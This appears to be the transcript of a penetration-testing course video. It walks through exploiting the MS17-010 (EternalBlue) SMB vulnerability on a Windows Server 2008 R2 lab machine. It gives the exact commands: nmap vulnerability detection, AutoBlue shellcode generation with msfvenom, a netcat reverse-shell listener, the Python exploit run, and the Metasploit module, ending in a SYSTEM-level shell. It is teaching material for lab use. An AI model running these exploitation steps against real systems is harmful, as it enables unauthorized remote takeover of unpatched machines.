Exploiting the Windows MS17-010 SMB vulnerability, also known
as EternalBlue.
Now that we've got an understanding of how
to exploit SMB through the use of PsExec and of course,
the actual technique of performing a brute force
on the SMB protocol, let's begin exploring
an inherent vulnerability within SMB that
can allow us to essentially obtain
access on a Windows target.
All right.
So first and foremost, what is EternalBlue or the MS17-010
vulnerability?
Well, this is the name given to a collection of Windows
vulnerabilities and exploits that allow attackers
to remotely execute arbitrary code and gain
access to a Windows system and consequently
the network that the target system is a part of.
All right.
So the EternalBlue exploit was developed
by the NSA, which is the National Security
Agency, to take advantage of the MS17-010 vulnerability
and was leaked to the public by a hacker group called
the Shadow Brokers in 2017.
The EternalBlue exploit takes advantage
of a vulnerability in the Windows SMB version 1
protocol that allows attackers to send specially
or specifically crafted packets that consequently facilitate
the execution of arbitrary commands.
And in addition to that, it can also
provide you with a reverse shell or a Meterpreter session.
All right.
So if you're not familiar with this vulnerability,
this is pretty much one of the biggest Windows vulnerabilities
over the last 10 or 15 years, primarily because of the fact
that SMB is pretty much runs on most Windows systems.
And secondly, this particular exploit
will not only provide you with access to the target system
but also provides you with also actually
provides you elevated access on the target system.
So you don't need to perform privilege escalation
as you will obtain elevated privileges.
All right.
So let's get a better idea of what this vulnerability is
in regards to how it's been used and what systems are actually
vulnerable to this particular exploit.
All right.
So the EternalBlue exploit was used in the WannaCry ransomware
attack on June the 27th, 2017, to exploit other Windows
systems across networks with the objective of spreading
ransomware to as many systems as possible.
So this particular vulnerability or this particular exploit
is so powerful because it essentially
allows you to exploit Windows systems very easily,
and it was used by the WannaCry ransomware group
to essentially spread the ransomware
across multiple computers on a network.
So an example of this would be if one system on a network
was infected with WannaCry, WannaCry
was essentially paired with the EternalBlue exploit.
And the EternalBlue exploit would then scan and identify
other Windows systems on the network
and would then exploit those systems, gain access,
and then execute the ransomware, therefore,
spreading and infecting as many systems as possible.
Now, this vulnerability affects multiple versions
of Windows, which is another reason why you should actually
know about it.
So it affects Windows Vista, Windows 7, Windows Server 2008,
Windows 8.1, Windows Server 2012, Windows 10,
a specific build or version of Windows 10,
and Windows Server 2016.
And of course, with the latest or newer version of Windows,
it actually affects only a specific build number.
But this particular vulnerability or exploit
is specifically effective against Windows 7
to Windows Server 2012.
All right, and of course, that includes
Windows 7, Windows Server 2008, Windows 8.1,
Windows Server 2012.
And of course, it affects both architectures,
both 32-bit and 64-bit.
All right.
So it's extremely powerful.
Now, as for the actual vulnerability
and how we can exploit it, Microsoft
released a patch for the vulnerability in March 2017.
However, many users and companies
have still not yet patched their systems
or are still using older versions of Windows
that might still be vulnerable.
And of course, the only reason why
I'm covering this particular exploit
is because it still is viable, and you can actually
perform a showdown search and identify
how many systems worldwide are still
vulnerable to this particular exploit.
And you will still find that you have thousands, if not hundreds
of thousands, of computers that can still be exploited.
Now, the EternalBlue exploit has a Metasploit framework
auxiliary module that can be used
to check if the target system is vulnerable to the exploit
and also has an exploit module that
can be used to exploit the vulnerability
on unpatched systems.
The EternalBlue exploit module can
be used to exploit vulnerable Windows systems
and consequently provide us with a privileged Meterpreter
session on the target system.
All right.
So if you want to automate the exploitation process,
you can use the Metasploit framework,
and of course, I'll be demonstrating this.
In addition to that, you can also exploit this vulnerability
manually.
And I'll be taking you through a very, very cool tool that
will essentially allow you to exploit this vulnerability
without using Metasploit.
All right.
As for the tools and the environment
that we'll be using within this video,
we'll be using a tool called AutoBlue MS17-010.
That is the exploit code or a collection
of scripts that will allow you to exploit
the vulnerability manually.
And the target system, in my case, that I'll be using
is a system or a virtual machine running Windows Server 2008 R2.
And the penetration testing distribution
that I'm going to be using is the latest version
of Kali Linux as of recording this video.
So again, in this video, you will not
have a lab environment.
And I'm essentially going to be demonstrating
the actual exploitation process within my own home lab.
So again, you can follow along with the techniques
within your own home lab.
And of course, you can test this on Windows Server 2008, Windows
7, et cetera.
All right.
So I'm just going to switch over to my Kali Linux system,
and we can begin.
All right.
So I'm back within my Kali Linux virtual machine,
and I've already set up the target virtual machine
and already have the target IP.
So the first step, of course, will
involve performing a port scan with Nmap
to identify the open ports and services that
are running on the target.
However, in this case, we are primarily
focused on the SMB port or the SMB service.
So we can say sudo nmap, and I'm going
to perform a service version detection scan on port 445
on the target.
And in order to identify the operating system,
or if we wanted to, we can use the O option here.
That will, of course, confirm that this is
running Windows Server 2008 R2.
And then, we can specify the target IP.
On my network or on my home lab, the target IP is 10.10.10.12.
All right.
So I'll hit Enter, and I'll provide my password
for my user account here.
And I'll let that begin the scan.
So I'm going to give this a couple of seconds
to a couple of minutes to complete.
All right.
The Nmap scan is complete.
And as you can see, we do have SMB
running on the target on port 445,
and the version tells us that it's either Microsoft Windows
Server 2008 or 2012.
But as I said, in this case, we already
know that it's Windows Server 2008 R2.
In order to detect or identify whether this particular target
is vulnerable to the EternalBlue exploit,
we can also utilize an Nmap script that
will perform the check for us.
So in order to use it, we're going to say sudo nmap -sV,
for service version detection, port 445.
And then we can say we want to use script,
and the script name is going to be smb-vulnerability.
And this is one of the great things with Nmap scripts,
and the vulnerability is MS17-010.
And then, we can specify the target IP.
In my case, the target IP is 10.10.10.12.
All right.
So I'll hit Enter.
And of course, I'll give this a couple of seconds.
All right.
So as you can see here, the script results actually
tell us what we need to know.
So it tells us that this particular system
is vulnerable to the MS17-010 vulnerability or exploit
or rather the EternalBlue exploit.
And again, as I said during the slides,
this exploit will only work on systems that are currently
running SMB version 1.
So you can see it's going to tell us
right over here remote code execution
vulnerability in Microsoft SMB version 1 servers.
And it'll tell us that the state is vulnerable.
So this target system is vulnerable
to this particular exploit.
It then provides you with the CVE code and the risk factor.
And of course, it'll provide you with links
here as for the actual references,
and you can learn more about this vulnerability
by clicking on these links.
All right.
So we know that SMB is currently enabled and running
on the target system.
And we know that this system is vulnerable to the EternalBlue
exploit.
What's the next step?
Well, we are going to start off by performing the exploit
manually without Metasploit.
And then, we'll move on to performing it automatically
with Metasploit.
All right.
In order to get started with the manual exploitation,
as I said during the slides, we are
going to be utilizing a tool called AutoBlue MS17-010,
and the GitHub repository is linked within the slides.
So using this is fairly simple.
It provides you with a fantastic documentation
as to how you can use this, and I'll be taking you
through this process right now.
All right.
So what you want to do is just clone the repository.
I've already cloned it right over here.
And if you can let me print out my current working directory,
you can see I'm currently within my desktop here.
And I've created a folder called EternalBlue,
and I've cloned that repository, and you can see it here.
And I'm currently within that repository.
So if I list out the files within this directory,
you can see you have the exploit--
the Python exploit files for various versions of Windows,
so Windows 7 and Windows Server 2008.
You then have Windows 8.1, or 8 and 8.1,
and then EternalBlue for Windows 10.
All right.
And then, of course, we have a list
of requirements.txt, file which is essentially very
useful in terms of getting all the dependencies installed
because you'll need to install a few Python dependencies.
So let me just zoom in here.
You can see that this is some no-bs public exploit
code that generates valid shellcode for the EternalBlue
exploit and scripts out the event
listener with a Metasploit multi-handler.
We will be skipping this particular step here.
And this version of the exploit is prepared in a way
where you can exploit EternalBlue without Metasploit.
All right.
So using it is fairly simple.
The first step, as it says right over here,
is to install the requirements, and you can install them.
If you're running Python2, you can use the pip command
and say pip install -r requirements.
If you're using Python3, which are most of you
are going to be using if you're using one of the latest
versions of Kali--
in that case, you can see-- you can say
pip install -r requirements.
And you can then begin with the actual--
with the actual shellcode generation process.
So for this exploit to work, you will
need to generate a shellcode that will be
exploited on the target system.
And then, of course, once that is generated,
we can set up our listener and then run the actual Python
exploit script.
In this case, we're going to be using this one here.
Specify the target IP and the shellcode
that we would like to exploit or that we
would like to run on the target, and we
should get a reverse shell back on our Netcat listener.
All right.
So the first step will essentially
involve generating the shellcode.
So we'll navigate into the Shellcode directory.
So I'll say cd shellcode.
And within this directory, we have a Python script,
or rather, a Bash script called shell_prep.sh.
I'm just going to provide it with executable permissions,
so chmod +x shell_prep.sh, and we can now execute it.
So I'm going to say shell_prep.sh.
It's going to tell you, let's compile the Windows shellcode.
And it'll compile it for both x64 and x86 kernels.
So it'll tell you right over here,
kernel shellcode compiled.
Would you like to auto-generate a reverse shell with msfvenom?
We can say yes, and the reason I'm
saying that is because we are just
going to be utilizing a simple command shell,
a non-staged command shell payload.
All right.
So I'm going to say yes and hit Enter,
and it's going to ask us for our IP address.
So this is going to be your Kali Linux or penetration testing
distribution IP.
And in order to find this, I can open up a new tab here,
and I will just say ifconfig.
And in my case, it is on Ethernet 1,
and this is my current IP address or the IP address
of the Kali Linux VM.
So I will type that in there, so 10.10.10.10.
And then the LPORT option-- so this is the port
that you want to listen on for the connection
once the payload is executed on the target.
In this case, I'll just use port 1234
to keep things nice and simple.
And I'll also specify the same port
for the x86 payload, so 1234.
And now, it'll tell me or give me
the ability to generate a Meterpreter shell
or a regular command shell.
I'm going to specify option 1 to generate a regular command
shell.
It'll then tell us type 0 to generate
a staged payload or 1 to generate a stageless payload.
We are going to be generating a stageless payload.
Of course, you can customize this
based on the target environment that you're working on.
So there we are generate a stageless payload.
It's then going to say generating the x64 CMD
shell, which is stageless.
And then it types out or automatically creates
the msfvenom command for you.
And we'll give this a couple of seconds to generate
both pieces of shellcode.
So if you take a look at the arguments here,
the payload that we're using is windows/x64/shell_reverse_tcp.
And this is being output into a raw format
and being output into a bin file.
So that is essentially the shellcode there.
So do remember this particular file right over here.
And of course, we're not going to be utilizing the MSF
shellcode.
You can see that it's currently done.
The shellcode that we are going to be using,
if we list all the contents of the shellcode directory,
is going to be this particular shellcode here.
So we can either use the x64 shellcode or the x86 shellcode.
And again, based on the target--
on the target operating system architecture.
All right.
So now that is done, we can set up our Netcat listener.
And I'm going to say Netcat -nvlp 1234.
So remember to specify the port you had specified
when generating the shellcode.
So I'm going to hit Enter.
It's going to listen on all my interfaces on port 1234,
and we can now begin the actual exploitation.
All right.
So we'll take a step back because we're currently
within the Shellcode directory.
So we'll say cd, and if we list out the files here,
we can now utilize the eternalblue_exploit7.py file.
And of course, you can use the exploit--
EternalBlue exploit8 if you're targeting a Windows
8 or Windows 8.1 system, and of course, that
is the same for Windows 10.
So what we'll do is I will provide this particular Python
file with executable permissions, so EternalBlue,
and we will say exploit7.py.
All right.
And if I list out the files now, you
can see that it's now highlighted in green,
which means we can execute it.
So to execute it, I'm going to say Python and then
eternalblue_exploit7.py.
I then specify the target IP address, which, in this case,
is 10.10.10.12.
And then, I need to specify the shellcode
that we want to execute on the target system.
So I'll say shellcode, and then, remember,
we are going to be utilizing the shellcode x64
because the target operating system here
is a 64-bit version of Windows Server.
And we're going to say sc_x64.bin.
All right, and we are going to hit Enter, and then, of course,
on our Netcat listener, we should get a command shell.
All right.
So I'm going to hit Enter.
And it's going to tell us right over here the shellcode size.
The target operating system is Windows Server 2008 R2.
SMB session startup or setup allocate nonpaged pool success,
and it tells us done right over here.
All right.
So if we take a look at our Netcat listener,
you can see we get a connection from the Kali Linux system,
or we get a connection on our Kali Linux system
from the target system, and we get a command shell.
So there we are.
Microsoft Windows version 6.1.7601.
And if I type in, who am I?
You can see NT AUTHORITY SYSTEM, and we've successfully
been able to exploit the MS17-010 vulnerability
through the use of a manual exploit code
or a set of exploitation scripts.
All right, and of course, this is a standard command shell.
We really can't do anything advanced that you typically
associate with a Meterpreter session, for example.
So that is how to perform or how to exploit this vulnerability
manually.
In terms of doing this automatically--
let me just terminate the actual command shell session there.
If we want to do this automatically,
we can open up MSF console.
And I'm going to give this a couple of seconds to start up.
So I'll zoom in a little bit there,
and we're just going to wait for this to start up.
It usually takes quite a while.
There we are, starting the Metasploit framework console.
And yeah, there we are.
So we have the MS 6 prompt.
So we can search for the EternalBlue exploit code.
So we can say search EternalBlue.
And there are two types of modules that we can use.
We have the auxiliary module, which
will essentially tell you whether the target system is
vulnerable.
This is the one here.
So you can see auxiliary/scanner/smb/smb ms17
010.
This will tell you whether you can perform a remote code
execution or you can run the following exploit module right
over here.
We already know that the target is vulnerable,
so we will go directly to the exploitation process.
And we'll copy that particular exploit module name there.
And we will say use, paste that in there.
It's going to default to the x64 Meterpreter payload, which
is perfectly fine.
And of course, this is a staged payload.
And we can say show options.
And we have the ability of changing our IP address
or specifying that option.
In this case, it's already set.
And we can also change the LPORT option based on the ports
that we currently have open.
We then need to set up the target IP address.
So we can say set RHOSTS 10.10.10.12.
And of course, that's in my case.
In your case, the target IP will be different.
And that's pretty much it.
So if I type in exploit, you'll see
that we'll get a Meterpreter session in just a few seconds.
All right.
So there we are.
You can see it's going to say--
it's going to use the auxiliary scanner module to tell you
whether it is vulnerable.
It's going to tell us the host is likely
vulnerable to the MS17-010 vulnerability,
and it's then going to begin the exploitation process.
So I'm going to give this a couple of seconds.
All right.
So after a couple of seconds, you
can see it will send the stage, and we
get a Meterpreter session.
And it tells right over here win.
That is pretty much it.
So you can see that this module is very helpful in automating
the exploitation process.
However, as I've mentioned previously,
it's very important to know what's
happening in the background.
And the only way you can learn that
is by performing the exploit or by using the exploit manually
and going through the actual exploitation procedures
of generating the shellcode.
And of course, with the exploit code,
you have the ability of going through it
and taking a look at how it actually works.
So again, for example, I can head over
into the GitHub repository.
And you can go ahead and take a look at how it works
and what exactly it is doing.
So that is going to conclude the practical demonstration
side of this video.
However, before we actually exit or get
done with the practical demonstration,
if I type in get user ID, you can see NT AUTHORITY SYSTEM.
So this particular exploit is extremely powerful.
And as I said, it is essentially a one-stop-shop
in terms of gaining access to a Windows system
primarily because not only can you gain access to a Windows
system, but you can also obtain administrative privileges just
through one click or through the use of one Metasploit module.
All right.
So that's going to conclude the practical section.
All right.
So now that we've explored how to exploit SMB
through brute force attacks and utilizing PsExec,
and we've also explored the process of exploiting
an inherent vulnerability within SMB,
we can now turn our attention to the next vulnerable service
or one of the most frequently exploited Windows Services.
And that, of course, is RDP or the Remote Desktop Protocol.
So I'll see you in the next video.